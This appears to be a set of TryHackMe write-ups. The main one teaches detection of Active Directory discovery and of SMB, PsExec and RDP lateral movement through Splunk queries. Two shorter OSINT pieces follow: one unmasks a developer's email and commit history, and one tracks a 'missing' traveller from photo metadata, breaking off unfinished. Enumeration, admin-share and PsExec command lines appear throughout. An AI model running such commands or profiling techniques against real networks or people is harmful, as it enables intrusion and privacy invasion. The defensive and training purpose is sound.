
Introduction

In an AD environment, attackers who compromise a single account rarely stop there. They use built-in protocols like SMB and RDP to move from the initial foothold to servers that hold what they actually want, like domain controllers, file servers, and databases. The tricky part for defenders is that these are the same protocols administrators use every day.

This room covers three lateral movement techniques and the log artifacts they produce. We'll start by looking at normal traffic for each protocol, then investigate a simulated attack that uses SMB, PsExec, and RDP to move from a compromised workstation to the Domain Controller.

Learning Objectives

Detect AD discovery commands through process creation and PowerShell Script Block logs
Identify SMB-based lateral movement through admin share access patterns
Identify PsExec usage through service installation artifacts, named pipe creation, and correlate source and destination events
Detect RDP-based lateral movement using Logon Type 10 and trace multi-hop chains through Logon ID correlation and process artifacts
Correlate artifacts across source and destination systems to trace an attacker's path

Prerequisites

Active Directory monitoring: AD architecture, authentication protocols, Windows Event Log structure (Monitoring Active Directory room)
Initial access detection: How attackers gain their first foothold (Detecting AD Initial Access room)
Windows Event Logs: Event Viewer navigation, log channels, Event IDs (Windows Event Logs room)
Splunk basics: SPL queries, filtering, stats commands (Splunk: Exploring SPL room)

Discovery and Reconnaissance

Although our main focus in this room is lateral movement, we need to start with discovery.

As shown in the image below, when attackers first gain access to a network, they don't know what's in it. They don't know which servers exist, which accounts have elevated privileges, or how the network is organized. So the first thing they do is run commands to map everything out. This helps them understand the environment they've compromised, identify valuable targets, and plan their next move.

In this task, we're focusing specifically on AD discovery, meaning commands that query Active Directory for information about domain accounts, groups, trusts, and networked systems. General host-level reconnaissance (like systeminfo or whoami) also happens during this phase, but AD discovery is what gives attackers the map they need to plan their lateral movement.

What Discovery Looks Like

Let's look at some Active Directory discovery commands commonly used in real-world attacks. The table below lists the commands you'll encounter most often:

Category	Command	What It Reveals
Domain/Trust	nltest /dclist:domain	Domain controllers in the environment
Domain/Trust	nltest /domain_trusts	Trusted domains the attacker could pivot to
Accounts/Groups	net user /domain	All domain user accounts
Accounts/Groups	net group "Domain Admins" /domain	Members of the Domain Admins group
Accounts/Groups	net group "Enterprise Admins" /domain	Members of the Enterprise Admins group
Accounts/Groups	net localgroup administrators	Local admin accounts on the current machine
Systems	net view	Machines visible on the network
Systems	net view \THM-SHR-SRV /all	Shares on a specific remote system
PowerShell	Get-ADUser -Filter *	AD user enumeration via PowerShell
PowerShell	Get-ADGroupMember "Domain Admins"	Admin group members via PowerShell
PowerShell	Get-ADComputer -Filter *	All computer accounts in the domain

None of these commands requires admin privileges. Active Directory grants read access to all authenticated domain users by default, which means any compromised account, even one belonging to a marketing or HR user, can enumerate every user, group, trust, and machine in the domain. This is by design, not a misconfiguration, and it's one of the reasons lateral movement planning might sometimes be easy for attackers.

The table above covers the most common built-in commands. Also, attackers use third-party tools like adfind.exe (heavily used by ransomware groups like Conti and FIN7), dsquery, and PowerShell's [System.DirectoryServices.DirectorySearcher] class for raw LDAP queries.

Volt Typhoon, the Chinese state-sponsored group, is known for this exact approach. CISA advisory AA24-038A(opens in new tab) documents their heavy use of commands like net user, nltest, netsh, and wmic for discovery, a technique known as "living off the land" (LOTL). Native commands don't trigger antivirus and blend in with normal administrative activity, which is exactly why they work.

Detecting Discovery With Sysmon and PowerShell Logs We detect these commands through two log sources:

Sysmon Event 1 captures process creation, where the CMD/PowerShell commands appear in the command line. PowerShell Event 4104 captures Script Block Logging, which records the PowerShell commands and cmdlets executed.

Scenario

Let's say we want to investigate or hunt for Windows built-in discovery commands in our environment. We would start with Sysmon Event 1 to see what commands were executed:

index=win EventCode=1 | search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") | table _time, host, User, Image, CommandLine, ParentImage | sort _time

Sysmon Event 1 query results showing discovery commands executed on THM-MKT-WS

The results show when the commands ran, what host they were executed on, and the User who ran them. The CommandLine field reveals what commands the attacker executed and what information they were after.

Seeing discovery commands executed on a workstation that isn't expected to have them executed in a specific time frame is highly likely to indicate malicious discovery activity. And always remember that "context is everything".

We can apply the same idea here for PowerShell-based discovery, but by filtering for Event 4104 (Script Block Logging) captures PowerShell cmdlets:

index=win EventCode=4104 | search Message IN ("Get-ADUser", "Get-ADGroupMember", "Get-ADComputer") 
| table _time, Message 
| sort _time

Splunk results for PowerShell Script Block Logging Event 4104 showing Get-ADUser and Get-ADGroupMember cmdlets

The Message field captures the full script block content, including the cmdlet and all its parameters.

Script Block Logging

Script Block Logging can generate a high volume of events, so some organizations enable it only on high-value targets or during active investigations. If it's not available, we can fall back to Sysmon process creation events (Event ID 1) or Windows Security process creation events (Event ID 4688) with command-line auditing enabled. The tradeoff is that Sysmon and 4688 capture the powershell.exe process launch, but if an attacker runs cmdlets interactively within a session, each individual cmdlet won't generate a separate process creation event. Script Block Logging captures every command inside the session, regardless.

Tip: Attackers sometimes encode or obfuscate discovery commands to evade detection rules. Base64-encoded PowerShell (powershell -enc ...) or cmd.exe character escaping still generates a Sysmon Event 1 for the process creation, though the CommandLine may show the encoded form. Script Block Logging is more resilient here because PowerShell logs the decoded script block after it is processed.

On the Splunk instance, investigate the discovery activity and answer the following questions.

Answer the questions below

What is the first discovery command the attacker executed? Note: The command has an extra whitespace; ensure you copy as it appears in Splunk. nltest /domain_trusts

index=win EventCode=1 | search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") | table _time, host, User, Image, CommandLine, ParentImage | sort _time

What is the full PowerShell command used to enumerate domain users?

Import-Module ActiveDirectory; Get-ADUser -Filter * -Properties MemberOf | Select-Object Name, SamAccountName

index=win 4104

How Lateral Movement Works

Now that we've seen the discovery phase, let's talk about what happens after the attacker has mapped out the network. They know which servers exist, which accounts have admin rights, and which machines are worth targeting. Their next step is to move to those targets so they can get closer to what they actually want, whether that's the Domain Controller, a database server, or a file share containing sensitive data.

Every lateral movement technique follows the same basic pattern, where the attacker authenticates to a remote machine using stolen or misused credentials, then executes something on it. The technique might differ, but that authenticate-then-execute sequence is always there.

The Source and Destination Model

Every remote connection creates artifacts on two machines:

One is the source, where the attacker initiates the connection. It also only sees which credentials were used and which target was chosen.
The other is the destination, where the session lands and the action happens. The destination sees that someone connected and what they did.

If we only check the destination, we know the attack happened, but might not know where it originated. If we only check the source, we know the intent but not whether it succeeded.

Logon Type: The First Thing to Check

When someone connects to a remote machine, Windows logs Event 4624 on the destination. The Logon_Type field tells us how they connected.

Logon Type	Meaning	Common Protocol	What It Tells Us
3	Network logon	SMB, PsExec	Remote access without an interactive session
7	Unlock/Reconnect	RDP	Session reconnect or workstation unlock
10	RemoteInteractive	RDP	Full desktop session

Type 10 is straightforward because it always means RDP. Type 3 is trickier because SMB and PsExec both generate Type 3 logons, so we need additional artifacts to tell them apart. We'll cover those in the upcoming tasks.

Note: If an attacker connects via RDP while the same account already has an active or disconnected session on that host, Windows reconnects them to the existing session instead of creating a new one. This generates a Type 7 (Unlock) logon instead of Type 10. During an investigation, if we see a Type 7 with a remote IP address (not 127.0.0.1), that indicates an RDP reconnection, not a physical workstation unlock. Keep this in mind when searching for RDP activity: filtering only for Logon_Type=10 will miss these reconnections. Also note that a reconnection assigns a new Logon_ID even though the RDP session itself persists, so Logon_ID-based correlation can break at disconnect/reconnect boundaries.

Event 4648: Tracing the Source

Event 4648 (Logon Using Explicit Credentials) fires on the source machine when a process uses credentials other than those of the currently logged-in user.

For example, as shown in the screenshot below, if liam.patel runs net use \\THM-SHR-SRV\ADMIN$ /user:luke.sullivan, Event 4648 is logged on THM-MKT-WS and records the original account (liam.patel), the alternate account (luke.sullivan), and the target server name (THM-SHR-SRV).

This tells us directly which machine initiated the connection and what credentials were used. Most destination-side logs only show who connected, not who was sitting at the keyboard when the event occurred.

Sysmon Event 1 (Process Creation) also captures the net.exe process with the full command line, including the target server and the account specified in the /user: flag and the password.

Together, these two source-side events provide better context for the same activity.

Warning: Event 4648 only fires when credentials are explicitly provided, such as with net use /user:, runas, or entering credentials in an RDP dialog. It doesn't fire for Pass-the-Hash, Pass-the-Ticket, or Kerberos single sign-on, because those techniques reuse cached credentials without explicitly providing them.

Normal vs Suspicious: Same Events, Different Context

A legitimate admin session and an attacker's lateral movement generate the same Event IDs. Both produce Event 4624, both can generate Event 4648, and both are "successful authentication to a remote host." What separates them is context.

Factor	Likely Legitimate	Worth Investigating
Source	IT admin workstation (THM-IT-DESK)	Marketing workstation (THM-MKT-WS)
Account	luke.sullivan (IT admin)	michelle.smith accessing admin shares
Time	Business hours	2 AM on a Saturday
Target	Servers the admin normally manages	Workstation-to-workstation connections
Pattern	Single server, sustained session	Rapid connections to many servers

We'll apply this concept of checking context around events throughout the rest of this room.

Why Lateral Movement Succeeds

Lateral movement mainly works because of common misconfigurations:

Password reuse across local admin accounts means that a compromised credential can unlock many machines (Microsoft LAPS is designed to prevent this)
Shared administrative accounts
Overly permissive group memberships
Bad network segmentation between hosts
Leaving RDP enabled on machines that don't need it widens the attack surface

A single compromised credential can unlock an entire network when these misconfigurations exist. Detection is important, but hardening the environment to limit where credentials can be used is just as valuable.

Answer the questions below

What Logon Type in Event 4624 indicates a remote desktop session? 10

What Event ID, logged on the source system, records when a process uses alternate credentials to connect to a remote resource? 4648

Detecting SMB Lateral Movement

SMB is the most common protocol used for lateral movement, and it's also the noisiest. Every time someone maps a network drive, opens a shared document, or prints to a network printer, SMB is involved. Group Policy updates and backup agents generate constant SMB traffic. There's a lot of legitimate SMB activity on any network, which is exactly why attackers like using it.

Admin Shares

Windows systems maintain default Administrative Shares (C$, ADMIN$, IPC$) created by the Server service at boot. These shares leverage the SMB protocol (Port 445) to allow remote management:

C$: Maps to the root of the system drive; additional drives follow the same pattern (D$, E$, etc.).
ADMIN$: Points to %SystemRoot% (typically C:\Windows).
IPC$: A logical share for Inter-Process Communication via named pipes, essential for remote RPC calls.

Accessing these shares usually triggers two events: Event 5140 (A network share object was accessed) and Event 4624 (An account was successfully logged on).

Regular users don't access these during normal work. They use named shares like Marketing, Shared, or IT. When we see admin share access, it's either an administrator doing maintenance or an attacker moving laterally.

Earth Kurma, an APT group documented by Trend Micro in 2025(opens in new tab), used admin shares extensively during their campaigns across Southeast Asian government networks. They authenticated with stolen credentials via net use \target\c$, copied malware to the target, then created remote services with sc to execute payloads, all through built-in Windows tools and SMB.

Splunk results showing admin share access via Event 5140 with source address, account, and share name

Investigating Suspicious Admin Share Access

Investigating Event 5140 File Share Access

Let's start by checking which sensitive shares were accessed from workstation IPs and which accounts were used:

index=win EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") | table _time, host, Source_Address, user, Share_Name | sort _time

Splunk query results for Event 5140 filtering ADMIN$ and C$ share access showing host, source address, user, and share name

Event 5140 gives us everything we need in a single event:

The host shows which server was targeted
The Source_Address shows where the connection came from
The user field shows which credentials were used
The Share_Name shows which admin share was accessed

The results show an account accessing ADMIN$ on multiple servers from a single IP. A single source IP accessing ADMIN$ on multiple servers and workstations is a strong lateral movement indicator, especially if the source workstation isn't one that normally does that.

But how do we know this is actually suspicious? Let's check the baseline activity for that user.

Understanding Baseline Activity

To determine if this activity is suspicious, we need to compare it against what this user normally does. Let's look at all share access for this user:

Replace {USER_ACCOUNT} with the user you identified from the share access events.

index=win EventCode=5140 user={USER_ACCOUNT} 
| table _time, Source_Address, Share_Name, host 
| sort _time

Normally, this is an IT user who only accesses the IT share from their THM-IT-DESK workstation (10.5.50.10). On the other hand, seeing the same user accessing multiple ADMIN$ shares of different machines in a short time frame from a single IP not associated with this user's normal activity is a strong indicator of malicious activity.

Tracing Back Activity to the Source

Now that we've confirmed the share access is suspicious, we need to investigate the source machine. We have the Source_Address IP, but we need the hostname to pivot our investigation on that machine.

In Active Directory, every computer authenticates with a machine account that matches its hostname and ends with $. We can use this to map any IP to its hostname by searching for Event 4624 logons from that IP:

Replace {SOURCE_IP} with the Source_Address from the share access events.

index=win EventCode=4624 Source_Network_Address={SOURCE_IP} user=*$ 
| stats count by user, Source_Network_Address 
| sort -count

The user ending with $ reveals the machine's hostname. Drop the $ suffix and you have the hostname to use in the next queries.

Finding the Commands on the Source

The source hostname tells us something important. From the baseline, we know this user is an IT admin who normally works from THM-IT-DESK. But their credentials are being used from a completely different machine, a marketing workstation. An IT admin has no reason to be logged into that workstation, which means someone on that machine likely has this user's credentials and is using them for lateral movement. We need to pivot to the source machine and find out who was actually at the keyboard.

Since we're investigating ADMIN$ access, we search Sysmon Event 1 (Process Create) on the source machine for any process that references ADMIN$ in its command line:

Replace {SOURCE_HOST} with the hostname identified above.

index=win EventCode=1 host={SOURCE_HOST} CommandLine="ADMIN$" 
| table _time, User, Image, CommandLine 
| sort _time

Now we can see the actual commands, the tool used to access the shares, the User who ran them, and the credentials in the CommandLine.

The User field shows who was sitting at the keyboard, while the CommandLine reveals the compromised credentials they used. These are two different accounts, which is a key indicator of credential misuse.

If we search for Event 4648 (Explicit Credential Usage) on the source machine, we'll find a corresponding event for each share connection, confirming the same alternate credentials were used against each target server. This is the source-side counterpart to the Event 5140 share access we found on the destinations.

Tip: The net use command is just one way attackers access admin shares. C2 frameworks like Cobalt Strike and Metasploit have built-in SMB modules that connect to shares without spawning net.exe, meaning they won't generate Sysmon Event 1 process creation events. In those cases, Event 4648 on the source machine can still reveal which credentials were used and which servers were targeted, even when the command itself doesn't appear in process creation logs. Event 5140 on the destination side also still fires regardless of how the connection was made.

On the Splunk instance, investigate the SMB admin share access using the Security logs.

Answer the questions below

What account was used to access the ADMIN$ shares? luke.sullivan

index=win EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") 
| table _time, host, Source_Address, user, Share_Name 
| sort _time

Which user account was responsible for executing the lateral movement commands?michelle.smith

index=win EventCode=4624 10.5.50.12 | stats count by user, Source_Network_Address | sort -count

Detecting PsExec Lateral Movement

In the previous task, we looked at raw admin share access through net use. That approach lets an attacker copy files and browse directories remotely, but it doesn't execute anything on the target. PsExec changes that. It's a Sysinternals tool that combines SMB admin share access with Windows service installation to run commands on remote systems.

It's worth understanding how PsExec works under the hood, because it leaves a very specific trail of artifacts. Even when attackers rename the binary, the underlying behavior stays the same.

How PsExec Works

When an attacker already has an authenticated SMB session (via net use) and runs PsExec.exe \\target cmd.exe, the following happens:

PsExec connects to the target's ADMIN$ share over SMB
It copies a service binary (PSEXESVC.exe) to the target's C:\Windows directory
It creates and starts a new Windows service on the target (System Event 7045)
The service creates named pipes for stdin/stdout/stderr communication (Sysmon Event 17)
That service executes whatever command the attacker specified
When the session ends, PsExec removes the service and cleans up the binary

Event 7045 (A New Service Was Installed) in the System log is the signature artifact for PsExec, logged on the destination machine. This is what distinguishes PsExec from plain SMB access.

The diagram below shows exactly this sequence.

Why Attackers Use PsExec

PsExec is a legitimate administration tool. Sysadmins use it daily to push patches, run scripts, and troubleshoot remote machines. From a protocol perspective, PsExec traffic appears identical to normal SMB administration traffic. The only difference is context: which account, from which machine, at what time, and how it was used.

Wizard Spider, the group behind Ryuk and Conti ransomware, used PsExec extensively for deployment. In incidents documented by Red Canary(opens in new tab), they would compromise one machine, harvest credentials with Mimikatz, then use PsExec to push ransomware to every reachable server in minutes. Each lateral hop created a service via ADMIN$, recorded by Event 7045.

Investigating PsExec Activity

Detecting PsExec: Destination Side

The destination side is where PsExec's unique signature appears. Let's check Event 7045 (service installation):

index=win EventCode=7045
| table _time, host, Service_Name, Service_File_Name, Service_Type, Service_Start_Type, Service_Account
| sort _time

In its default configuration, the service name is PSEXESVC and the binary path points to C:\Windows\PSEXESVC.exe (equivalent to %SystemRoot%\PSEXESVC.exe). The Service_Account field tells us which account the service runs under.

By default, PsExec runs the remote command as the authenticating user. When run with the -s flag, the service runs as LocalSystem, granting SYSTEM-level access on the target.

What Commands Did the Attacker Run?

Once we've identified the PsExec service through Event 7045, and the host it was created on, the next step is to find what commands the attacker actually executed through it.

Since PSEXESVC.exe is the service that spawns the attacker's remote commands, we can use process creation events (e.g., Sysmon Event 1) and filter by ParentImage to find processes created or commands executed by the service binary:

index=win EventCode=1 host={DESTINATION_HOST} ParentImage="*PSEXESVC*"
| table _time, host, User, ParentImage, Image, CommandLine
| sort _time

The ParentImage field shows which process spawned each command. By filtering for PSEXESVC, we see only the commands that were executed remotely through PsExec.

Named Pipe Artifacts (Sysmon Event 17)

PsExec uses named pipes to relay stdin, stdout, and stderr between the source and destination. Sysmon Event 17 (Pipe Created) captures these on the destination:

index=win EventCode=17 Image="*PSEXESVC*"
| table _time, host, Image, PipeName
| sort _time

PsExec creates pipes with names like \PSEXESVC---stdin, -stdout, and -stderr. These pipe names are useful because even if an attacker renames the PsExec binary, the pipe naming convention often remains unchanged (unless they modify the source code).

Tracing PsExec Usage with Event 5145

We've identified the service and the commands it executed. Now we need to identify who initiated this and where they connected from.

Event 5145 (Detailed File Share) goes further, where it logs the specific files and objects accessed through that share, which are shown in the Relative_Target_Name field. For PsExec, this event is a goldmine.

Replace {DESTINATION_HOST} with the target machine that we found earlier in the investigation.

index=win EventCode=5145 host={DESTINATION_HOST} Relative_Target_Name="PSEXE" 
| table _time, user, Source_Address, Share_Name, Relative_Target_Name 
| sort _time

Notice that the named pipe names contain the source hostname, revealing which machine the attacker is operating from.

Tip: Events 5140 and 5145 require "Audit File Share" and "Audit Detailed File Share" to be explicitly enabled via Group Policy. If we search for these events during an investigation and get zero results, it doesn't necessarily mean the activity didn't happen. It may mean the audit policy isn't enabled in that environment.

Detecting PsExec: Source Side

Once we find the commands executed and the service name, we can easily track the source host from which PsExec was executed. Sysmon Event 1 captures the process creation with the full command line:

index=win EventCode=1 host={SOURCE_HOST}
| search Image="*PsExec*"
| table _time, host, User, Image, CommandLine
| sort _time

The CommandLine field shows which target was specified and what command is being run remotely.

By correlating source and destination PsExec artifacts, we now have the full picture of what actually happened.

Hunting for Renamed PsExec

Attackers know that security tools look for PSEXESVC by name. PsExec's -r flag lets the operator specify a custom service name, so running PsExec -r renamed_psexec \target cmd creates a service called renamed_psexec instead of PSEXESVC.

Other tools like Impacket's psexec.py or Cobalt Strike's PsExec module generate random service names by default. But Event 7045 still fires regardless of the name.

The pattern to look for is any new service with Service_Type of "user mode service" and Service_Start_Type of "demand start." The service name and binary might differ, but the demand-start, user-mode-service signature remains.

On the Splunk instance, investigate the PsExec lateral movement using the Sysmon and System logs.

Answer the questions below

What was the destination host the attacker targeted via PsExec?THM-SQL-SRV

index=win EventCode=7045 | table _time, host, Service_Name, Service_File_Name, Service_Type, Service_Start_Type, Service_Account | sort _time

What is the first command that the attacker executed from the source machine using PsExec? Note: The command has an extra whitespace; ensure you copy as it appears in Splunk.

C:\Tools\PsExec.exe -accepteula \THM-SQL-SRV cmd /c "hostname & whoami & ipconfig"

index=win host=THM-SQL-SRV ParentImage="PSEXESVC" 
| table _time, host, User, ParentImage, Image, CommandLine 
| sort _time

index=win Tools

Detecting RDP Lateral Movement

RDP gives the attacker a full interactive desktop session, but it doesn't leave the same kind of obvious hunting artifacts as the previous techniques. There's no service installation, no share access pattern, no unique process on the destination that says "this was RDP." So we rarely start an investigation by hunting for RDP sessions directly. Instead, we usually find RDP as the delivery mechanism after something else catches our attention.

RDP's primary detection artifact is Event 4624 with Logon_Type=10 (RemoteInteractive), logged on the destination. It records the account name, the source IP address, and the session timestamp. While SMB and PsExec both produce Type 3 network logons, a successful RDP session produces Type 10, making it immediately distinguishable in the Security log. However, NLA introduces a variation worth understanding, covered in the info box below.

Info: Modern Windows enables Network Level Authentication (NLA) by default. With NLA, the user authenticates at the network level before the RDP session is established, which generates a brief Type 3 logon right before the Type 10. If we see a Type 3 from the same source IP appearing seconds before a Type 10, that's the NLA prelude, not a separate SMB or PsExec connection. The lab environment in this room has NLA enabled, so you may see these Type 3 events alongside the Type 10 logons in your query results.

BlackSuit (the successor to Royal ransomware, covered in the updated CISA advisory AA23-061A(opens in new tab)) relies on RDP as a primary lateral movement method. According to the FBI, BlackSuit actors combine RDP, PsExec, and SMB to move through victim networks and, in one confirmed case, used a legitimate admin account to reach the domain controller directly.

Normal vs Suspicious RDP Traffic

Before we start investigating, it helps to have a mental model for which RDP connections are normal and which ones should raise questions. The direction of the connection matters:

Pattern	Typical?	Why
Workstation → Server	Yes	IT admins RDP from their workstations to manage servers. This is the standard pattern.
Workstation → Workstation	Rare	Regular users don't RDP into each other's machines. Helpdesk might, but only from designated IT workstations.
Server → Server	Suspicious	Servers don't initiate outbound RDP on their own. If a server is RDPing to another server, someone is sitting inside an active session on that server and pivoting outward.

These patterns aren't rules. There are environments where server-to-server RDP is normal (e.g., jump boxes). But as a starting point, any RDP session originating from a server rather than a workstation warrants a closer look.

Investigating RDP Lateral Movement

We wouldn't normally jump directly into RDP logs because they can be very noisy. Instead, let's say we received an alert for discovery commands being executed on our Domain Controller. We start by looking at process creation logs:

index=win EventCode=1 host=THM-DC
| search CommandLine IN ("*nltest*", "*net * user*", "*net * group*", "*net * view*")
| table _time, host, User, Image, CommandLine, LogonId
| sort _time

index=win EventCode=1 host=THM-DC
| search CommandLine IN ("*nltest*", "*net * user*", "*net * group*", "*net * view*")
| table _time, host, User, Image, CommandLine, LogonId
| sort _time

We can see a discovery command being executed on the Domain Controller. The LogonId field tells us which session these commands belong to. Let's use it to find out how this session was created.

Identify How the Attacker Reached the Domain Controller

We take the LogonId from the suspicious commands and correlate it with Event 4624 (successful logon) on the same host:

Replace {LOGON_ID} with the LogonId from the Sysmon event above.

index=win EventCode=4624 Source_Network_Address={SOURCE_IP} user=*$ 
| stats count by user, Source_Network_Address 
| sort -count

The user ending with $ reveals the machine's hostname. Drop the $ suffix and use it in the next step.

Find Evidence of the Outbound RDP Connection on the Source

When someone initiates an RDP connection from a machine, mstsc.exe (the Windows Remote Desktop Client) runs on that machine. If Sysmon is capturing process creation on that host, we can search for it:

Replace {SOURCE_SERVER} with the hostname identified above.

index=win EventCode=1 host={SOURCE_SERVER} Image="*mstsc.exe*"
| table _time, User, Image, CommandLine, LogonId
| sort _time

This confirms that someone launched an outbound RDP connection from that server targeting the Domain Controller.

Now we can trace how the attacker got onto this server in the first place.

Trace How the Attacker Reached the Intermediate Server

Using the same correlation technique, we take the LogonId from the mstsc.exe process and match it against Event 4624 on the same server:

index=win EventCode=4624 host={SOURCE_SERVER} Logon_ID={LOGON_ID} 
| table _time, user, Logon_Type, Source_Network_Address, Logon_ID

We can see another RDP login, but this time, from a different user and a different source than the one we saw on the Domain Controller.

The attacker started on a compromised workstation, used RDP to reach the server, then, from within that session, opened another RDP connection to the Domain Controller using a different, more privileged account.

This pattern is called RDP chaining, and it's common when attackers pivot through intermediate machines to reach sensitive targets like Domain Controllers. Each hop uses RDP, but the source IP address changes at each hop because the connection originates from the intermediate machine rather than the original workstation.

The diagram below shows how RDP chaining works.

On the Splunk instance, investigate the RDP lateral movement using the Security and Sysmon logs and answer the following questions.

Answer the questions below

What is the source IP address of the RDP session that landed on the Domain Controller? 10.5.30.120

index=win EventCode=1 host=THM-DC 
| search CommandLine IN ("nltest", "net * user", "net * group", "net * view") 
| table _time, host, User, Image, CommandLine, LogonId 
| sort _time

index=win EventCode=4624 host=THM-DC Logon_ID=0x508C55A | table _time, user, Logon_Type, Source_Network_Address, Logon_ID

Tracing backward through the chain, what is the original source IP where the RDP chain began? 10.5.50.12

index=win EventCode=4624 Source_Network_Address=10.5.30.120 user=*$ | stats count by user, Source_Network_Address | sort -count

index=win EventCode=4624 host=THM-DC 
| table _time, user, Logon_Type, Source_Network_Address, Logon_ID

Investigation Challenge

Scenario

The SOC team received an EDR alert for a suspicious service installation (svcupdate) on THM-SHR-SRV. The service name doesn't match any known software deployments, and no change requests were scheduled for that evening. Your task is to investigate this lateral movement activity and trace it back to its origin.

Machine Access

The challenge data is on the same Splunk instance you've been using, but in a different index.

Info: Use index=challenge for all queries in this task. This index contains a separate dataset from the walkthrough scenarios.

Answer the questions below

What is the full path of the service binary that was installed on the target?

Remember to install when we run exe executable files

index=challenge exe 7045

What account was used to access the ADMIN$ share on the target server?

index=challenge EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") 
| table _time, host, Source_Address, user, Share_Name 
| sort _time

What is the source IP address of the lateral movement to THM-SHR-SRV?

What is the first remote command the attacker executed on the target machine? (Answer Format: as shown in the CommandLine field)

index=challenge EventCode=1 
| search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") 
| table _time, host, User, Image, CommandLine, ParentImage 
| sort _time

index=challenge cmd.exe commandline User="tryhatmestudios\ryan.chen"

index=challenge cmd.exe commandline User="tryhatmestudios\ryan.chen”
| table _time, host, User, ParentImage, Image, CommandLine 
| sort _time

What host did the attack originate from?

index=challenge User="tryhatmestudios\ryan.chen"

Conclusion

This room covered three lateral movement techniques (SMB, PsExec, RDP), how each authenticates against Active Directory, and the traces they leave on both source and destination machines.

Takeaways

Discovery commands in process creation logs are often the first indicator that triggers a lateral movement investigation. Spotting enumeration early can lead to catching lateral movement before it reaches sensitive targets.
The same Event 4624 fires for a legitimate admin and an attacker. Source workstation, account, timing, and target pattern are what distinguish them.
Type 10 means RDP. Type 3 covers SMB and PsExec, where additional artifacts (Event 5140, Event 7045, Sysmon Event 17) separate the two.
Event 4648 ties the initiating user to the target connection by recording alternate credential use on the source, but only for explicit credentials, not Pass-the-Hash or Kerberos SSO.
Admin share access (ADMIN$, C$) from unexpected sources is a strong lateral movement indicator. Event 5140 captures who accessed which share and from where.
Sysmon Event 17 detects characteristic PsExec pipe patterns that persist even when the binary is renamed. Event 7045 (service installation) is PsExec's signature artifact.
Link RDP sessions with Logon_ID and look for mstsc.exe on intermediate hosts to trace chained hops. Each hop changes the source IP, so tracing the full chain requires checking both source and destination logs.

Dev Diaries (TryHackMe)

Jebitok — Fri, 20 Mar 2026 09:11:51 GMT

Introduction

The Dev Diaries challenge simulates a real-world scenario: a client's website was built by a freelance developer who disappeared without handing over the source code. With only the primary domain as a starting point, the goal was to use OSINT techniques to recover as much information as possible — subdomains, developer identity, and any traces left behind in public repositories.

The challenge touches on subdomain enumeration, web archive recon, GitHub OSINT, and Git commit history analysis. No exploitation involved — just following the breadcrumbs developers unknowingly leave in public spaces.

Challenge

We have just launched a website developed by a freelance developer. The source code was not shared with us, and the developer has since disappeared without handing it over.

Despite this, traces of the development process and earlier versions of the website may still exist online.

You are only given the website's primary domain as a starting point: marvenly.com

Answer the questions below

What is the subdomain where the development version of the website is hosted?

The thought was to try to do subdomain enumeration. None of the categories of these first sets of commands worked:

curl -s "https://crt.sh/?q=%25.**target.com**&output=json" | jq -r '.[].name_value' | sort -u


subfinder -d **target.com** -o subdomains.txt


assetfinder --subs-only target.com


theHarvester -d target.com -b all

This one worked:

curl -s "http://web.archive.org/cdx/search/cdx?url=.marvenly.com/&output=text&fl=original&collapse=urlkey" | sort -u 

https://uat-testing.marvenly.com/ https://uat-testing.marvenly.com/favicon.ico

What is the GitHub username of the developer?

visited the subdomain of marvenly.com and found the github username of the developer.

What is the developer's email address?

I cloned the GitHub repository that was on their GitHub profile and ran a git log command, this enables me to find their email address:

git log

What reason did the developer mention in the commit history for removing the source code?

Looking through the commits to the repo one of the commit messages states the reason why the project was abandoned:

What is the value of the hidden flag?

Through one of the commits, we find the hidden signature which is the flag:

Conclusion

This challenge is a clean example of how much a developer unknowingly exposes through normal workflow habits. The repository was never made private, and no attempt was made to sanitize commit history — which meant a real name, email address, and even the reason for abandoning the project were all sitting in plain sight via git log.

Why This Matters for Developers

Starting from just a domain, standard OSINT techniques surfaced:

A staging subdomain via Wayback Machine
A GitHub username from the live site
A real email address baked into commit metadata
A commit message documenting a payment dispute — essentially a private conversation left public

Git history is immutable by design. Even if a repo is later deleted or made private, anyone who cloned or cached it before that point retains full history. A commit message is not a private note — it is a permanent, searchable artifact.

Remediation for Developers

Use GitHub's no-reply email (username@users.noreply.github.com) for commits to prevent real email exposure
Enable "Block command line pushes that expose my email" in GitHub settings
Treat commit messages as public documentation — never include sensitive context
If a repo must be cleaned, use git filter-branch or git filter-repo before it ever goes public

The real lesson here is not just technical — it is that OSINT does not require exploiting anything. Public information, assembled carefully, tells the full story. In this case it told us who built the site, how to contact them, and exactly why the working relationship ended.

Missing Person (TryHackMe)

Jebitok — Fri, 20 Mar 2026 08:39:19 GMT

Introduction

OSINT (Open Source Intelligence) challenges simulate real-world investigations using only publicly available information. This room on TryHackMe presents a missing person scenario tied to the 2025 MotoGP event in Indonesia, where we're tasked with helping piece together the movements of a traveller based on photos and social media breadcrumbs they left behind.

The investigation covers image metadata analysis, reverse image search, geolocation, social media profiling, and business record lookup — core skills in any OSINT workflow.

Tools used:

exiftool — for extracting image metadata
Google Reverse Image Search — for identifying locations from photos
Google Maps — for address verification
Facebook / Instagram — for social media enumeration
Google Search — for business and phone number lookup

OSINT

"My friend went on holiday in 2025 and shared some photos, but I haven’t heard from him since. Can you help me track him down for the police report?"

Download the zip file attached to this task and start your investigation!

Answer the questions below

What is the commercial name of this circuit?
Format: English, full commercial name.

Download the zip file, then unzip: there are two images, and one of them is for the circuit

Use Google Image Search to search for the MotoGP image to identify the circuit where the event was held

When did the event take place?
Format: DD-DD/MM/YYYY.

exiftool MotoGP.jpg

Using the circuit name we identified above, we can search when the MotoGP happened in this specific circuit

He told me he ate delicious Mexican food. What is the name of the restaurant?

The other image from the zip file was the food image. We can use Google Image Search to identify the restaurant where this missing person visited

At what time was this photo taken?
Format: HH:MM:SS.

exiftool food.jpg

He sent me a message, this is the last I heard from him: ”Went to this cool MotoGP after party, and became friends with one of the local DJs who played that night. We’re going to visit a cave tomorrow.”

What is the full address of the bar’s location?

At first, I came across that there was an After Race Party that was held at Mandalika Beach Club, it has a DJ lineup, but none fit what we're looking for

On reading the message once again, the missing person specified that they went to a bar for the after-party. After searching again, I found Surfers Bar, which was advertised on Facebook and Instagram

Went ahead to search for Surfers' bar using Google Maps inorder to find the exact location.

What is the DJ's stage name?

